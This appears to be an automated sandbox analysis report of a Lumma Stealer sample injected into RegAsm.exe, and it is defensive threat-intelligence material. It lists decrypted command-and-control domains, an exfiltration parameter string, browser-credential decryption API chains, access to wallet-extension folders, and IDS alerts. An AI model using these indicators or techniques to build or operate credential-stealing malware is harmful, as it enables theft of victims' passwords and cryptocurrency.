Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: ghostreedmnu.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: gutterydhowi.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: drawzhotdog.shop
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 15.2.RegAsm.exe.400000.0.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C0A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	3_2_6C0A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C1FA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	3_2_6C1FA9A0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.5:49757 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: System.Core.pdbP source: WER1AF4.tmp.dmp.19.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: System.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: soft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3269805633.000000003A911000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3244466284.000000002EA31000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source:	Binary string: \mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbL0 source: WER430E.tmp.dmp.23.dr
Source:	Binary string: System.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3294025471.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source:	Binary string: mscorlib.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: \System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.0000000000897000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb^ source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.00000000008D8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: System.pdb4 source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbp source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source:	Binary string: orlib.pdbE source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source:	Binary string: System.Core.pdbk source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source:	Binary string: ws\mscorlib.pdb]q source: MFDBG.exe, 00000010.00000002.3333482247.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Directory queried: number of queries: 1001

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

3_2_0041510B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+24h]	15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-1Ch]	15_2_0040E9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	15_2_0041A040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edi+edx]	15_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	15_2_00443010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebp	15_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebp	15_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], cl	15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+44h]	15_2_0041D1CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 54CA534Eh	15_2_004472C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	15_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	15_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	15_2_0043A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	15_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	15_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	15_2_00443460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	15_2_0042D46E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	15_2_0041447C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	15_2_004474C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	15_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	15_2_0042F530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000874h]	15_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	15_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	15_2_00444590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	15_2_00445643
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	15_2_00405680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	15_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	15_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	15_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	15_2_00449700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	15_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+14h], 12EEEC16h	15_2_0042E7F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	15_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	15_2_004278E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	15_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	15_2_00449890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	15_2_00449A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	15_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	15_2_00431AC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+000006A8h]	15_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	15_2_0040DBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	15_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	15_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	15_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	15_2_00414C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	15_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	15_2_00440D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [edi+eax+01h], 00000000h	15_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	15_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	15_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	15_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [00450078h]	15_2_0041FD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	15_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi]	15_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	15_2_00411DAE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_00425EF0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.5:60755 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.5:64089 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.5:56030 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.5:63091 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.5:61898 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.5:64263 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.5:49747 -> 172.67.132.32:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.5:49751 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.5:61600 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.5:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.5:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.5:49750 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056155 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI) : 192.168.2.5:49752 -> 188.114.97.3:443
